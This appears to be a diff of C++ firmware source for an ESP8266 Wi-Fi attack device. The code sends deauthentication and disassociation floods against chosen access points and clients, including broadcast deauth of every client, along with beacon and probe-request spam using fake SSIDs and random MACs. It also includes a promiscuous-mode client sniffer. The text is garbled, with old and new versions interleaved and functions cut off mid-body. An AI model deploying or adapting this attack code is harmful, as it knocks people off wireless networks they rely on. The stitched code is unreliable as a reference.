json += String(OPEN_BRACKET) + b2s(beacon.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(beaconPkts) + String(COMMA) + String(beacon.maxPkts) + String(CLOSE_BRACKET) + String(COMMA); // [false,0,0,0],
json += String(OPEN_BRACKET) + b2s(probe.active) + String(COMMA) + String(ssids.count()) + String(COMMA) + String(probePkts) + String(COMMA) + String(probe.maxPkts) + String(CLOSE_BRACKET); // [false,0,0,0]
json += CLOSE_BRACKET; // ]
return json;
}
void Attack::update() {
if (!running || scan.isScanning()) return;
// run/update all attacks
deauthUpdate();
deauthAllUpdate();
beaconUpdate();
probeUpdate();
// each second
if (currentTime - attackTime > 1000) {
attackTime = currentTime; // update time
updateCounter();
if (output) status(); // status update
getRandomMac(mac); // generate new random mac
}
}
void Attack::deauthUpdate() {
if (!deauthAll && deauth.active && deauth.maxPkts > 0 && deauth.packetCounter < deauth.maxPkts) {
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
// APs
if (accesspoints.count() > 0 && deauth.tc < accesspoints.count()) {
if (accesspoints.getSelected(deauth.tc)) {
deauth.tc += deauthAP(deauth.tc);
} else deauth.tc++;
}
*/
return false;
}
delay(1); //less packets are beeing dropped
return true;
}
void Attack::changeRandom(int num){
randomMode = !randomMode;
randomInterval = num;
if(debug) Serial.println("changing randomMode: " + (String)randomMode);
if(randomMode){
if(debug) Serial.println(" generate random SSIDs");
ssidList.clear();
ssidList._random();
randomCounter = 0;
ssidChange = true;
}
}
void Attack::sendDeauths(Mac from, Mac to){
for(int i=0;i<settings.attackPacketRate;i++){
buildDeauth(from, to, 0xc0, settings.deauthReason );
if(send()) packetsCounter[0]++;
buildDeauth(from, to, 0xa0, settings.deauthReason );
if(send()) packetsCounter[0]++;
delay(3);
}
}
void Attack::run() {
unsigned long currentMillis = millis();
/* =============== Deauth Attack =============== */
if (isRunning[0] && currentMillis - prevTime[0] >= 1000) {
if (debug) Serial.print("running " + (String)attackNames[0] + " attack...");
prevTime[0] = millis();
for (int a = 0; a < apScan.results; a++) {
if (apScan.isSelected(a)) {
Mac _ap;
int _ch = apScan.getAPChannel(a);
_ap.set(apScan.aps._get(a));
wifi_set_channel(_ch);
int _selectedClients = 0;
for (int i = 0; i < clientScan.results; i++) {
if (clientScan.getClientSelected(i)) {
_selectedClients++;
/*if (settings.channelHop) {
for (int j = 1; j < maxChannel; j++) {
wifi_set_channel(j);
buildDeauth(_ap, clientScan.getClientMac(i), 0xc0, settings.deauthReason );
if (send()) packetsCounter[0]++;
buildDeauth(_ap, clientScan.getClientMac(i), 0xa0, settings.deauthReason );
if (send()) packetsCounter[0]++;
}
} else {*/
sendDeauths(_ap, clientScan.getClientMac(i));
//}
}
}
if (_selectedClients == 0) {
Mac _client;
_client.set(0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF);
sendDeauths(_ap, _client);
}
// Stations
else if (stations.count() > 0 && deauth.tc >= accesspoints.count() && deauth.tc < stations.count() + accesspoints.count()) {
if (stations.getSelected(deauth.tc - accesspoints.count())) {
deauth.tc += deauthStation(deauth.tc - accesspoints.count());
} else deauth.tc++;
}
}
stati[0] = (String)packetsCounter[0] + "pkts/s";
packetsCounter[0] = 0;
if (debug) Serial.println(" done");
if (settings.attackTimeout > 0) {
attackTimeoutCounter[0]++;
if (attackTimeoutCounter[0] > settings.attackTimeout) stop(0);
}
}
/* =============== Beacon Attack =============== */
int beaconsPerSecond = 10;
if(settings.beaconInterval) beaconsPerSecond = 1;
if (isRunning[1] && currentMillis - prevTime[1] >= 1000/beaconsPerSecond) {
if (debug) Serial.print("running " + (String)attackNames[1] + " attack...");
prevTime[1] = millis();
for (int a = 0; a < ssidList.len; a++) {
buildBeacon(beaconAdrs._get(a), ssidList.get(a), channels[a], ssidList.isEncrypted(a));
if (send()) packetsCounter[1]++;
}
stati[1] = (String)(packetsCounter[1] * beaconsPerSecond) + "pkts/s";
packetsCounter[1] = 0;
macListChangeCounter++;
if(settings.macInterval > 0){
if (macListChangeCounter / beaconsPerSecond >= settings.macInterval) generate();
}
if (debug) Serial.println(" done");
if (settings.attackTimeout > 0) {
attackTimeoutCounter[1]++;
if (attackTimeoutCounter[1] / beaconsPerSecond > settings.attackTimeout) stop(1);
}
}
/* =============== Probe Request Attack =============== */
if (isRunning[2] && currentMillis - prevTime[2] >= 1000) {
if (debug) Serial.print("running " + (String)attackNames[2] + " attack...");
prevTime[2] = millis();
for (int a = 0; a < ssidList.len; a++) {
buildProbe(ssidList.get(a), beaconAdrs._get(a));
if(send()) packetsCounter[2]++;
if(send()) packetsCounter[2]++;
}
stati[2] = (String)(packetsCounter[2]) + "pkts/s";
packetsCounter[2] = 0;
macListChangeCounter++;
if(settings.macInterval > 0){
if (macListChangeCounter >= settings.macInterval) generate();
}
if (debug) Serial.println("done");
if (settings.attackTimeout > 0) {
attackTimeoutCounter[2]++;
if (attackTimeoutCounter[2] > settings.attackTimeout) stop(2);
}
}
//Random-Mode Interval
if((isRunning[1] || isRunning[2]) && randomMode && currentMillis - randomTime >= 1000){
randomTime = millis();
if(randomCounter >= randomInterval){
if(debug) Serial.println(" generate random SSIDs");
ssidList.clear();
ssidList._random();
randomCounter = 0;
ssidChange = true;
}
else randomCounter++;
}
}
void Attack::start(int num) {
Serial.println(num);
if(!isRunning[num]) {
Serial.println(num);
isRunning[num] = true;
stati[num] = "starting";
prevTime[num] = millis();_log(num);
attackTimeoutCounter[num] = 0;
refreshLed();
if (debug) Serial.println("starting " + (String)attackNames[num] + " attack...");
if (num == 0) attackMode_deauth = "STOP";
else if(num == 1) attackMode_beacon = "STOP";
if(!settings.multiAttacks){
for (int i = 0; i < attacksNum; i++){
if(i != num) stop(i);
// Names
else if (names.count() > 0 && deauth.tc >= accesspoints.count() + stations.count() && deauth.tc < names.count() + stations.count() + accesspoints.count()) {
if (names.getSelected(deauth.tc - stations.count() - accesspoints.count())) {
deauth.tc += deauthName(deauth.tc - stations.count() - accesspoints.count());
} else deauth.tc++;
}
// reset counter
if (deauth.tc >= names.count() + stations.count() + accesspoints.count())
deauth.tc = 0;
}
}else stop(num);
}
}
void Attack::stop(int num) {
if(isRunning[num]) {
if (debug) Serial.println("stopping " + (String)attackNames[num] + " attack...");
if (num == 0) attackMode_deauth = "START";
else if(num == 1) attackMode_beacon = "START";
isRunning[num] = false;
prevTime[num] = millis();
refreshLed();
void Attack::deauthAllUpdate() {
if (deauthAll && deauth.active && deauth.maxPkts > 0 && deauth.packetCounter < deauth.maxPkts) {
if (deauth.time <= currentTime - (1000 / deauth.maxPkts)) {
// APs
if (accesspoints.count() > 0 && deauth.tc < accesspoints.count()) {
tmpID = names.findID(accesspoints.getMac(deauth.tc));
if (tmpID < 0) {
deauth.tc += deauthAP(deauth.tc);
} else if (!names.getSelected(tmpID)) {
deauth.tc += deauthAP(deauth.tc);
} else deauth.tc++;
}
// Stations
else if (stations.count() > 0 && deauth.tc >= accesspoints.count() && deauth.tc < stations.count() + accesspoints.count()) {
tmpID = names.findID(stations.getMac(deauth.tc - accesspoints.count()));
if (tmpID < 0) {
deauth.tc += deauthStation(deauth.tc - accesspoints.count());
} else if (!names.getSelected(tmpID)) {
deauth.tc += deauthStation(deauth.tc - accesspoints.count());
} else deauth.tc++;
}
// Names
else if (names.count() > 0 && deauth.tc >= accesspoints.count() + stations.count() && deauth.tc < accesspoints.count() + stations.count() + names.count()) {
if (!names.getSelected(deauth.tc - accesspoints.count() - stations.count())) {
deauth.tc += deauthName(deauth.tc - accesspoints.count() - stations.count());
} else deauth.tc++;
}
// reset counter
if (deauth.tc >= names.count() + stations.count() + accesspoints.count())
deauth.tc = 0;
}
}
stati[num] = "ready";
}
void Attack::stopAll() {
for (int i = 0; i < attacksNum; i++) stop(i);
void Attack::probeUpdate() {
if (probe.active && probe.maxPkts > 0 && probe.packetCounter < probe.maxPkts) {
if (probe.time <= currentTime - (1000 / probe.maxPkts)) {
if (settings.getBeaconChannel()) setWifiChannel(probe.tc % settings.getMaxCh());
probe.tc += sendProbe(probe.tc);
if (probe.tc >= ssids.count()) probe.tc = 0;
}
}
}
void Attack::_log(int num){
openLog();
addLog((String)attackNames[num]);
for(int a=0;a<apScan.results;a++){
if(apScan.isSelected(a)){
Mac _ap;
_ap.set(apScan.aps._get(a));
addLog(_ap.toString());
void Attack:: beaconUpdate() {
if (beacon.active && beacon.maxPkts > 0 && beacon.packetCounter < beacon.maxPkts) {
if (beacon.time <= currentTime - (1000 / beacon.maxPkts)) {
beacon.tc += sendBeacon(beacon.tc);
if (beacon.tc >= ssids.count()) beacon.tc = 0;
}
}
addLog("-");
for(int i=0;i<clientScan.results; i++) {
if(clientScan.getClientSelected(i)) {
addLog(clientScan.getClientMac(i).toString());
}
}
closeLog();
}
size_t Attack::getSize(){
if(apScan.selectedSum == 0) stati[0] = "no AP";
size_t jsonSize = 0;
String json = "{\"aps\":[";
int _selected = 0;
for (int i = 0; i < apScan.results; i++) {
if (apScan.isSelected(i)) {
json += "\"" + apScan.getAPName(i) + "\",";
_selected++;
}
}
if (_selected > 0) json.remove(json.length() - 1);
jsonSize += json.length();
json = "],\"clients\":[";
_selected = 0;
for (int i = 0; i < clientScan.results; i++) {
if (clientScan.getClientSelected(i)) {
json += "\"" + clientScan.getClientMac(i).toString() + " " + clientScan.getClientVendor(i) + " - " + clientScan.getClientName(i) + "\",";
_selected++;
}
}
if (_selected == 0) json += "\"FF:FF:FF:FF:FF:FF - BROADCAST\"";
else json.remove(json.length() - 1);
jsonSize += json.length();
json = "],\"attacks\":[";
for (int i = 0; i < attacksNum; i++) {
json += "{";
json += "\"name\":\"" + attackNames[i] + "\",";
json += "\"status\":\"" + stati[i] + "\",";
json += "\"running\":" + (String)isRunning[i] + "";
json += "}";
if (i != attacksNum - 1) json += ",";
}
json += "],";
jsonSize += json.length();
if(ssidChange){
json = "\"ssid\":[";
jsonSize += json.length();
for (int i = 0; i < ssidList.len; i++) {
json = "[";
json += "\"" + ssidList.get(i) + "\",";
json += String( ssidList.isEncrypted(i) ) + "";
Serial.print(ssidList.isEncrypted(i));
json += "]";
if (i != ssidList.len - 1) json += ",";
jsonSize += json.length();
}
json = "],";
jsonSize += json.length();
}
json = "\"randomMode\":" + (String)randomMode + "}";
jsonSize += json.length();
return jsonSize;
bool Attack::deauthStation(uint8_t num) {
return deauthDevice(accesspoints.getMac(stations.getAP(num)), stations.getMac(num), settings.getDeauthReason(), accesspoints.getCh(stations.getAP(num)));
}
void Attack::sendResults(){
size_t _size = getSize();
if (debug) Serial.print("getting attacks JSON ("+(String)_size+")...");
sendHeader(200, "text/json", _size);
String json = "{\"aps\":[";
int _selected = 0;
for (int i = 0; i < apScan.results; i++) {
if (apScan.isSelected(i)) {
json += "\"" + apScan.getAPName(i) + "\",";
_selected++;
}
}
if (_selected > 0) json.remove(json.length() - 1);
sendToBuffer(json);
json = "],\"clients\":[";
_selected = 0;
for (int i = 0; i < clientScan.results; i++) {
if (clientScan.getClientSelected(i)) {
json += "\"" + clientScan.getClientMac(i).toString() + " " + clientScan.getClientVendor(i) + " - " + clientScan.getClientName(i) + "\",";
_selected++;
}
}
if (_selected == 0) json += "\"FF:FF:FF:FF:FF:FF - BROADCAST\"";
else json.remove(json.length() - 1);
sendToBuffer(json);
json = "],\"attacks\":[";
for (int i = 0; i < attacksNum; i++) {
json += "{";
json += "\"name\":\"" + attackNames[i] + "\",";
json += "\"status\":\"" + stati[i] + "\",";
json += "\"running\":" + (String)isRunning[i] + "";
json += "}";
if (i != attacksNum - 1) json += ",";
}
json += "],";
sendToBuffer(json);
if(ssidChange){
json = "\"ssid\":[";
sendToBuffer(json);
for (int i = 0; i < ssidList.len; i++) {
json = "[";
json += "\"" + ssidList.get(i) + "\",";
json += (String)ssidList.isEncrypted(i) + "";
json += "]";
if (i != ssidList.len - 1) json += ",";
sendToBuffer(json);
}
json = "],";
sendToBuffer(json);
ssidChange = false;
}
json = "\"randomMode\":" + (String)randomMode + "}";
sendToBuffer(json);
sendBuffer();
if (debug) Serial.println("done");
bool Attack::deauthAP(uint8_t num) {
return deauthDevice(accesspoints.getMac(num), broadcast, settings.getDeauthReason(), accesspoints.getCh(num));
}
void Attack::refreshLed() {
int numberRunning = 0;
for (int i = 0; i < sizeof(isRunning); i++) {
if (isRunning[i]) numberRunning++;
//if(debug) Serial.println(numberRunning);
bool Attack::deauthName(uint8_t num) {
if (names.isStation(num)) {
return deauthDevice(names.getBssid(num), names.getMac(num), settings.getDeauthReason(), names.getCh(num));
} else {
return deauthDevice(names.getMac(num), broadcast, settings.getDeauthReason(), names.getCh(num));
}
if (numberRunning >= 1 && settings.useLed) {
if (debug) Serial.println("Attack LED : ON");
digitalWrite(settings.ledPin, !settings.pinStateOff);
}
bool Attack::deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch) {
if (!stMac) return false; // exit when station mac is null
//Serial.println("Deauthing "+macToStr(apMac)+" -> "+macToStr(stMac)); // for debugging
bool success = false;
// build deauth packet
packetSize = sizeof(deauthPacket);
memcpy(&deauthPacket[4], stMac, 6);
memcpy(&deauthPacket[10], apMac, 6);
memcpy(&deauthPacket[16], apMac, 6);
deauthPacket[24] = reason;
// send deauth frame
deauthPacket[0] = 0xc0;
if (sendPacket(deauthPacket, packetSize, &deauth.packetCounter, ch, settings.getForcePackets()))
success = true;
// send disassociate frame
deauthPacket[0] = 0xa0;
if (sendPacket(deauthPacket, packetSize, &deauth.packetCounter, ch, settings.getForcePackets()))
success = true;
// send another packet, this time from the station to the accesspoint
if (!macBroadcast(stMac)) { // but only if the packet isn't a broadcast
if (deauthDevice(stMac, apMac, reason, ch)) {
success = true;
}
}
else if (numberRunning == 0 || !settings.useLed) {
if (debug) Serial.println("Attack LED : OFF");
digitalWrite(settings.ledPin, settings.pinStateOff);
if (success) deauth.time = currentTime;
return success;
}
bool Attack::sendBeacon(uint8_t tc) {
if (settings.getBeaconChannel()) setWifiChannel(tc % settings.getMaxCh());
mac[5] = tc;
return sendBeacon(mac, ssids.getName(tc).c_str(), wifi_channel, ssids.getWPA2(tc));
}
bool Attack::sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2) {
packetSize = sizeof(beaconPacket);
if (wpa2) {
beaconPacket[34] = 0x31;
} else {
beaconPacket[34] = 0x21;
packetSize -= 26;
}
int ssidLen = strlen(ssid);
if(ssidLen > 32) ssidLen = 32;
memcpy(&beaconPacket[10], mac, 6);
memcpy(&beaconPacket[16], mac, 6);
memcpy(&beaconPacket[38], ssid, ssidLen);
beaconPacket[82] = ch;
if (sendPacket(beaconPacket, packetSize, &beacon.packetCounter, ch, settings.getForcePackets())) {
beacon.time = currentTime;
return true;
}
return false;
}
bool Attack::sendProbe(uint8_t tc) {
if (settings.getBeaconChannel()) setWifiChannel(tc % settings.getMaxCh());
mac[5] = tc;
return sendProbe(mac, ssids.getName(tc).c_str(), wifi_channel);
}
bool Attack::sendProbe(uint8_t* mac, const char* ssid, uint8_t ch) {
packetSize = sizeof(probePacket);
int ssidLen = strlen(ssid);
if(ssidLen > 32) ssidLen = 32;
memcpy(&probePacket[10], mac, 6);
memcpy(&probePacket[26], ssid, ssidLen);
if (sendPacket(probePacket, packetSize, &probe.packetCounter, ch, settings.getForcePackets())) {
probe.time = currentTime;
return true;
}
return false;
}
bool Attack::sendPacket(uint8_t* packet, uint16_t packetSize, uint16_t* packetCounter, uint8_t ch, uint16_t tries) {
//Serial.println(bytesToStr(packet, packetSize));
// set channel
setWifiChannel(ch);
// sent out packet
bool sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0;
// try again until it's sent out
for (int i = 0; i < tries && !sent; i++) {
yield();
sent = wifi_send_pkt_freedom(packet, packetSize, 0) == 0;
}
if (sent) (*packetCounter)++;
return sent;
}
void Attack::enableOutput() {
output = true;
prntln(A_ENABLED_OUTPUT);
}
void Attack::disableOutput() {
output = false;
prntln(A_DISABLED_OUTPUT);
}
uint32_t Attack::getDeauthPkts() {
return deauthPkts;
}
uint32_t Attack::getBeaconPkts() {
return beaconPkts;
}
uint32_t Attack::getProbePkts() {
return probePkts;
}
uint32_t Attack::getDeauthMaxPkts() {
return deauth.maxPkts;
}
uint32_t Attack::getBeaconMaxPkts() {
return beacon.maxPkts;
}
uint32_t Attack::getProbeMaxPkts() {
return probe.maxPkts;
}

View File

@ -1,158 +1,196 @@
#ifndef Attack_h
#define Attack_h
#define maxChannel 11
#include "Arduino.h"
#include <ESP8266WiFi.h>
extern "C" {
#include "user_interface.h"
}
#include "Mac.h"
#include "MacList.h"
#include "APScan.h"
#include "ClientScan.h"
#include "Accesspoints.h"
#include "Stations.h"
#include "SSIDs.h"
#include "Settings.h"
#include "SSIDList.h"
#include "Scan.h"
#include "language.h"
#define attacksNum 3
#define macListLen 64
extern void PrintHex8(uint8_t *data, uint8_t length);
extern void getRandomVendorMac(uint8_t *buf);
extern String data_getVendor(uint8_t first, uint8_t second, uint8_t third);
extern const bool debug;
extern void addLog(String str);
extern void openLog();
extern void closeLog();
extern String attackMode_deauth;
extern String attackMode_beacon;
extern APScan apScan;
extern ClientScan clientScan;
extern Settings settings;
extern SSIDList ssidList;
extern SSIDs ssids;
extern Accesspoints accesspoints;
extern Stations stations;
extern Scan scan;
class Attack
{
extern uint8_t wifi_channel;
extern uint8_t broadcast[6];
extern uint32_t currentTime;
extern bool macBroadcast(uint8_t* mac);
extern void getRandomMac(uint8_t* mac);
extern void setOutputPower(float dBm);
extern String macToStr(uint8_t* mac);
extern String bytesToStr(uint8_t* b, uint32_t size);
extern void setWifiChannel(uint8_t ch);
extern bool writeFile(String path, String &buf);
class Attack {
public:
Attack();
void generate();
void run();
void start(int num);
void stop(int num);
void stopAll();
void sendResults();
size_t getSize();
void refreshLed();
void changeRandom(int num);
bool ssidChange = true;
private:
void buildDeauth(Mac _ap, Mac _client, uint8_t type, uint8_t reason);
void buildBeacon(Mac _ap, String _ssid, int _ch, bool encrypt);
void _log(int num);
void buildProbe(String _ssid, Mac _mac);
bool send();
void sendDeauths(Mac from, Mac to);
//attack declarations
const String attackNames[attacksNum] = {"Deauth", "Beacon", "Probe-Request"};
void start();
void start(bool beacon, bool deauth, bool deauthAll, bool probe, bool output, uint32_t timeout);
void stop();
void update();
//attack infos
String stati[attacksNum];
unsigned int packetsCounter[attacksNum];
bool isRunning[attacksNum];
void enableOutput();
void disableOutput();
void status();
String getStatusJSON();
bool deauthAP(uint8_t num);
bool deauthStation(uint8_t num);
bool deauthName(uint8_t num);
bool deauthDevice(uint8_t* apMac, uint8_t* stMac, uint8_t reason, uint8_t ch);
bool sendBeacon(uint8_t tc);
bool sendBeacon(uint8_t* mac, const char* ssid, uint8_t ch, bool wpa2);
bool sendProbe(uint8_t tc);
bool sendProbe(uint8_t* mac, const char* ssid, uint8_t ch);
MacList beaconAdrs;
bool sendPacket(uint8_t* packet, uint16_t packetSize, uint16_t* packetCounter, uint8_t ch, uint16_t tries);
bool isRunning();
//packet buffer
uint8_t packet[128];
int packetSize;
uint32_t getDeauthPkts();
uint32_t getBeaconPkts();
uint32_t getProbePkts();
uint32_t getDeauthMaxPkts();
uint32_t getBeaconMaxPkts();
uint32_t getProbeMaxPkts();
private:
void deauthUpdate();
void deauthAllUpdate();
void beaconUpdate();
void probeUpdate();
//timestamp for running every attack
unsigned long prevTime[attacksNum];
void updateCounter();
bool running = false;
bool output = true;
//packet declarations
struct AttackType{
bool active = false; // if attack is activated
uint16_t packetCounter = 0; // how many packets are sent per second
uint16_t maxPkts = 0; // how many packets should be sent per second
uint8_t tc = 0; // target counter, i.e. which AP or SSID
uint32_t time = 0; // time last packet was sent
};
AttackType deauth;
AttackType beacon;
AttackType probe;
bool deauthAll = false;
uint32_t deauthPkts = 0;
uint32_t beaconPkts = 0;
uint32_t probePkts = 0;
int8_t tmpID;
uint16_t packetSize = 0;
uint32_t attackTime = 0; // for counting how many packets per second
uint32_t attackStartTime = 0;
uint32_t timeout;
// random mac address for making the beacon packets
uint8_t mac[6] = {0xAA,0xBB,0xCC,0x00,0x11,0x22};
uint8_t deauthPacket[26] = {
/* 0 - 1 */ 0xC0, 0x00, //type, subtype c0: deauth (a0: disassociate)
/* 2 - 3 */ 0x00, 0x00, //duration (SDK takes care of that)
/* 4 - 9 */ 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB,//reciever (target)
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,//reciever (target)
/* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, //source (ap)
/* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, //BSSID (ap)
/* 22 - 23 */ 0x00, 0x00, //fragment & squence number
/* 24 - 25 */ 0x01, 0x00 //reason code (1 = unspecified reason)
};
uint8_t beaconPacket_header[36] = {
/* 0 - 1 */ 0x80, 0x00,
/* 2 - 3 */ 0x00, 0x00, //beacon
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, //destination: broadcast
/* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //source
/* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, //source
/* 22 - 23 */ 0xc0, 0x6c,
/* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00,
/* 32 - 33 */ 0x64, 0x00, //0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s
/* 34 - 35 */ 0x01, 0x04
/*,0x00, 0x06, //SSID size
0x72, 0x72, 0x72, 0x72, 0x72, 0x72, //SSID
>>beaconPacket_end<<*/
uint8_t probePacket[68] = {
/* 0 - 1 */ 0x40, 0x00, // Type: Probe Request
/* 2 - 3 */ 0x00, 0x00, // Duration: 0 microseconds
/* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination: Broadcast
/* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // Source: random MAC
/* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // BSS Id: Broadcast
/* 22 - 23 */ 0x00, 0x00, // Sequence number (will be replaced by the SDK)
/* 24 - 25 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
/* 26 - 57 */ 0x20, 0x20, 0x20, 0x20, // SSID
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
/* 58 - 59 */ 0x01, 0x04, //Tag Number: Supported Rates (1), Tag length: 4
/* 60 */ 0x82, // 1(B)
/* 61 */ 0x84, // 2(B)
/* 62 */ 0x8b, // 5.5(B)
/* 63 */ 0x96, // 11(B)
/* 64 */ 0x24, // 18
/* 65 */ 0x30, // 24
/* 66 */ 0x48, // 36
/* 67 */ 0x6c // 54
};
uint8_t beaconPacket[109] = {
/* 0 - 3 */ 0x80, 0x00, 0x00, 0x00, // Type/Subtype: managment beacon frame
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination: broadcast
/* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
/* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
uint8_t beaconPacket_end[12] = {
0x01, 0x08, 0x82, 0x84,
0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, 0x03, 0x01
/*,channel*/
// Fixed parameters
/* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done by the SDK)
/* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp
/* 32 - 33 */ 0x64, 0x00, // Interval: 0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s
/* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation
// Tagged parameters
// SSID parameters
/* 36 - 37 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
/* 38 - 69 */ 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, // SSID
// Supported Rates
/* 70 - 71 */ 0x01, 0x08, // Tag: Supported Rates, Tag length: 8
/* 72 */ 0x82, // 1(B)
/* 73 */ 0x84, // 2(B)
/* 74 */ 0x8b, // 5.5(B)
/* 75 */ 0x96, // 11(B)
/* 76 */ 0x24, // 18
/* 77 */ 0x30, // 24
/* 78 */ 0x48, // 36
/* 79 */ 0x6c, // 54
// Current Channel
/* 80 - 81 */ 0x03, 0x01, // Channel set, length
/* 82 */ 0x01, // Current Channel
// RSN information
/* 83 - 84 */ 0x30, 0x18,
/* 85 - 86 */ 0x01, 0x00,
/* 87 - 90 */ 0x00, 0x0f, 0xac, 0x02,
/* 91 - 92 */ 0x02, 0x00,
/* 93 - 100 */ 0x00, 0x0f, 0xac, 0x04, 0x00, 0x0f, 0xac, 0x02,
/* 101 - 102 */ 0x01, 0x00,
/* 103 - 106 */ 0x00, 0x0f, 0xac, 0x02,
/* 107 - 108 */ 0x00, 0x00
};
uint8_t beaconWPA2tag[26] = {
0x30, //RSN tag
0x18, //tag length
0x01, 0x00, //RSN version
0x00, 0x0f, 0xac, 0x02, //cipher (TKIP)
0x02, 0x00, //pair cipher
0x00, 0x0f, 0xac, 0x04, //cipher (AES)
0x00, 0x0f, 0xac, 0x02, //cipher (TKIP)
0x01, 0x00, //AKM count
0x00, 0x0f, 0xac, 0x02, //PSK
0x00, 0x00 //RSN capabilities
};
uint8_t probePacket[25] = {
/* 0 - 1 */ 0x40, 0x00, //Type: Probe Request
/* 2 - 3 */ 0x00, 0x00, //Duration: 0 microseconds
/* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //Destination: Broadcast
/* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, //Source: random MAC
/* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //BSS Id: Broadcast
/* 22 - 23 */ 0x00, 0x00, //Sequence number (will be replaced by the SDK)
/* 24 */ 0x00 //Tag Number: SSID parameter set (0)
/* ,0x06, //Tag length
0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA //SSID
*/
};
uint8_t probePacket_RateTag[6] = {
0x01, //Tag Number: Supported Rates (1)
0x04, //Tag length: 4
//Supported Rates:
0x82, //1Mbit/s
0x84, //2Mbit/s
0x8b, //5.5Mbit/s
0x96 //11Mbit/s
};
int macListChangeCounter = 0;
int attackTimeoutCounter[attacksNum];
int channels[macListLen];
bool buildInLedStatus = false;
bool randomMode = false;
int randomInterval = 5;
int randomCounter = 0;
long randomTime = 0;
};
#endif
#endif

View File

@ -1,237 +0,0 @@
#include "ClientScan.h"
ClientScan::ClientScan() {
broadcast.set(0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF);
zero.set(0x00, 0x00, 0x00, 0x00, 0x00, 0x00);
}
void ClientScan::clearList() {
clients._clear();
}
void ClientScan::start(int _time) {
Serial.println();
Serial.println("starting client scan");
clearList();
for (int i = 0; i < maxClientScanResults; i++) {
selected[i] = false;
packets[i] = 0;
}
for (int i = 0; i < 13; i++) channels[i] = 0;
results = 0;
timeout = _time;
sniffing = true;
channelsNum = 0;
curChannel = 0;
for (int i = 0; i < apScan.results; i++) {
if (apScan.isSelected(i)) {
if (!intInArray(apScan.getAPChannel(i), channels)) {
channels[channelsNum] = apScan.getAPChannel(i);
channelsNum++;
}
}
}
wifi_promiscuous_enable(0);
WiFi.disconnect();
wifi_set_opmode(STATION_MODE);
wifi_set_channel(channels[curChannel]);
wifi_promiscuous_enable(1);
if (debug) Serial.println("set channel to " + (String)channels[curChannel]);
curChannel++;
startTime = millis();
sniffing = true;
}
bool ClientScan::stop() {
long curTime = millis();
if (curTime - startTime >= (timeout * 1000) / channelsNum && curChannel < channelsNum) {
if (debug) Serial.println("changing to channel " + (String)channels[curChannel]);
wifi_set_channel(channels[curChannel]);
curChannel++;
}
else if (curTime - startTime >= timeout * 1000) {
sniffing = false;
wifi_promiscuous_enable(0);
Serial.println("stopping client scan after " + (String)(curTime - startTime) + "ms");
if (debug) {
for (int i = 0; i < results && i < maxClientScanResults; i++) {
Serial.print(i);
Serial.print(": ");
Serial.print(getClientPackets(i));
Serial.print(" ");
Serial.print(getClientVendor(i));
Serial.print(" ");
Serial.print(getClientMac(i).toString());
/*Serial.print(" ");
Serial.print(getClientSelected(i));*/
Serial.println();
}
}
return true;
}
return false;
}
int ClientScan::add(Mac adr){
int clientNum = clients.getNum(adr);
if (clientNum == -1 && results < maxClientScanResults) {
data_getVendor(adr._get(0), adr._get(1), adr._get(2)).toCharArray(vendors[results], 9);
connectedToAp[results] = -1;
results++;
int clientNum = clients.add(adr);
}
return clientNum;
}
void ClientScan::packetSniffer(uint8_t *buf, uint16_t len) {
if (sniffing && len > 27) {
from.set(buf[16], buf[17], buf[18], buf[19], buf[20], buf[21]);
to.set(buf[22], buf[23], buf[24], buf[25], buf[26], buf[27]);
for (int i = 0; i < apScan.results; i++) {
if (apScan.isSelected(i)) {
if (apScan.aps._get(i).compare(from) && !broadcast.compare(to)) {
int clientNum = add(to);
connectedToAp[clientNum] = i;
packets[clientNum]++;
if (clientNum == -1 && results < maxClientScanResults) {
